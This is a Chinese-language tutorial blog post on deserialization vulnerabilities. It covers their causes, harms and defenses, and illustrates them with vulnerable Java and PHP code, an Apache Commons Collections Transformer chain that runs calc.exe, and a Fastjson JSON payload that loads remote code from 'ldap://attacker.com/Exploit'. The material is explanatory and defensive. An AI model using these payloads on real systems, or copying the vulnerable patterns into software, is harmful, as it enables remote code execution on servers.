反序列化漏洞原理剖析:从攻击到防御

图片

在安全测试中,反序列化漏洞(Deserialization Vulnerability)因其高危害性和隐蔽性,成为近年来攻击者利用的最为频繁的漏洞类型之一,log4j2、fastjson等知名应用的漏洞中都不乏它的身影。本文将从原理、危害、利用方式及防御措施等方面,带大家详细了解这一漏洞。

什么是序列化与反序列化?

  • 序列化(Serialization):指将对象(如程序中的数据结构、类实例等)转换为可存储或传输的格式(如JSON、XML、二进制流等)。例如,保存用户会话状态或传输数据时常用此技术。 

  • 反序列化(Deserialization):将序列化后的数据还原为原始对象的过程。例如,服务器接收客户端发送的序列化数据后,需反序列化以恢复对象状态。

图片

反序列化漏洞的成因

漏洞的核心在于:反序列化过程中,攻击者可控的恶意数据被程序信任并还原为对象。当反序列化逻辑未对输入进行严格验证时,攻击者可构造恶意数据,触发非预期的代码执行或数据篡改。  

常见风险场景:  

  • 未验证输入来源:直接反序列化用户提交的数据。 

  • 依赖不安全的反序列化库:如Java的ObjectInputStream、PHP的unserialize()等。 

  • 存在危险类/方法:反序列化时自动调用类的readObject()、__wakeup()等方法,攻击者可能通过构造恶意类实现代码执行。

1.未验证输入来源 

场景:服务端直接反序列化客户端未经验证的输入数据。 

案例:某Java Web应用接收客户端序列化的User对象数据,未做签名校验直接反序列化。

// 漏洞代码示例public class UserController {    public void processUserData(byte[] data) {        try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {            User user = (User) ois.readObject(); // 直接反序列化用户输入            // 处理用户数据...        }    }}

攻击方式:攻击者构造恶意序列化数据(如包含Runtime.exec()调用链的Payload),替换正常User对象发送给服务端。服务端反序列化时触发恶意代码。

2.依赖不安全的反序列化库 

场景:使用存在设计缺陷的序列化库,或未及时更新已知漏洞的第三方库。  

案例1:Apache Commons Collections (CVE-2015-4852) 

该库的Transformer接口允许链式调用方法,攻击者可构造恶意调用链实现RCE。

// 恶意Transformer链构造示例Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),    new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),    new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})};ChainedTransformer chain = new ChainedTransformer(transformers);

攻击效果:当包含此链的序列化数据被反序列化时,会执行calc.exe(弹出计算器)。

案例2:Fastjson反序列化漏洞(CVE-2022-25845) 

Fastjson的autoType功能允许指定任意类,攻击者利用此特性加载恶意类。

// 恶意JSON数据{  "@type": "com.sun.rowset.JdbcRowSetImpl",  "dataSourceName": "ldap://attacker.com/Exploit",  "autoCommit": true}

攻击效果:服务端解析JSON时,触发JNDI注入,加载远程恶意代码。

3.存在危险类/方法 

场景:反序列化过程中自动调用类中的特定方法(如readObject()、__wakeup()),这些方法可能被重写为危险逻辑。  

案例1:Java的readObject()方法 

若类重写readObject()且包含不安全操作,反序列化时会自动执行。

public class DangerousClass implements Serializable {    private void readObject(ObjectInputStream in) throws IOException, ClassNotFoundException {        in.defaultReadObject();        Runtime.getRuntime().exec("恶意命令"); // 反序列化时自动执行    }}

攻击方式:诱导服务端反序列化包含DangerousClass的数据。

案例2:PHP的__destruct()魔术方法 

PHP反序列化时,若类定义了__destruct()方法,对象销毁时会自动调用该方法。

class MaliciousClass {    public function __destruct() {        system($_GET['cmd']); // 对象销毁时执行系统命令    }}// 攻击Payload$data = serialize(new MaliciousClass());// 发送$data至服务端,触发反序列化

4.其它原因

  • 日志中的序列化数据:若日志记录敏感序列化数据(如Java异常堆栈中的HexDump),攻击者可能从日志提取并重放篡改后的数据。 

  • 缓存数据污染:缓存系统存储未经验证的序列化数据,攻击者篡改缓存实现持久化攻击。

漏洞危害

  • 远程代码执行(RCE)

    攻击者通过反序列化执行系统命令,直接控制服务器。 经典案例:Apache Struts2、Fastjson等框架的反序列化漏洞。  

  • 数据篡改与泄露

    修改反序列化后的对象属性,绕过身份验证或窃取敏感数据。 

  • 拒绝服务攻击(DoS)

    构造畸形数据导致程序崩溃,如触发无限循环或内存溢出。

典型利用方式

以Java反序列化漏洞为例,典型攻击链如下:  

  • 构造恶意对象:攻击者编写一个包含恶意代码的类(如执行系统命令)。 

  • 生成序列化数据:将该类序列化为二进制数据。 

  • 发送恶意数据:将数据提交至目标服务器。 

  • 触发漏洞:服务器反序列化数据时,自动执行恶意代码。 

示例攻击(利用Apache Commons Collections库):

// 构造恶意命令执行链Transformer[] transformers = new Transformer[] {    new ConstantTransformer(Runtime.class),    new InvokerTransformer("getMethod", ...),    new InvokerTransformer("exec", ...)};ChainedTransformer chain = new ChainedTransformer(transformers);// 序列化并发送给目标服务器byte[] payload = serialize(chain);sendToTarget(payload)

常见反序列化漏洞类型

Java反序列化漏洞  

  • 依赖库问题:如Apache Commons Collections、Fastjson等。 

  • 利用工具:ysoserial、marshalsec等。 

PHP反序列化漏洞  

  • 通过魔术方法(如__wakeup(), __destruct())触发恶意逻辑。 

  • 案例:ThinkPHP框架历史漏洞。 

Python反序列化漏洞  

  • 使用pickle模块时,攻击者可构造__reduce__方法执行命令

防御措施

  • 避免反序列化不可信数据:优先使用JSON、XML等安全数据格式。 

  • 白名单验证:限制反序列化的类,如Java中可通过ObjectInputFilter设置白名单。 

  • 使用安全替代方案: 

    • Java:使用Jackson、Gson等库替代ObjectInputStream。 

    • PHP:避免unserialize(),改用json_decode()。

  •  最小化权限:运行反序列化代码的进程应遵循最小权限原则。 

  • 依赖库更新:及时修复已知漏洞的第三方库(如Log4j、Fastjson)。 

  • 输入过滤与日志监控:对反序列化操作进行异常检测和日志记录

总结

反序列化漏洞的本质是程序对“数据还原为对象”这一过程缺乏安全控制。开发者在设计序列化/反序列化功能时,需始终遵循“不信任任何输入”的原则,结合安全编码实践和防护技术,才能有效避免此类漏洞。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

星尘安全

你的鼓励将是我创作的最大动力!

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值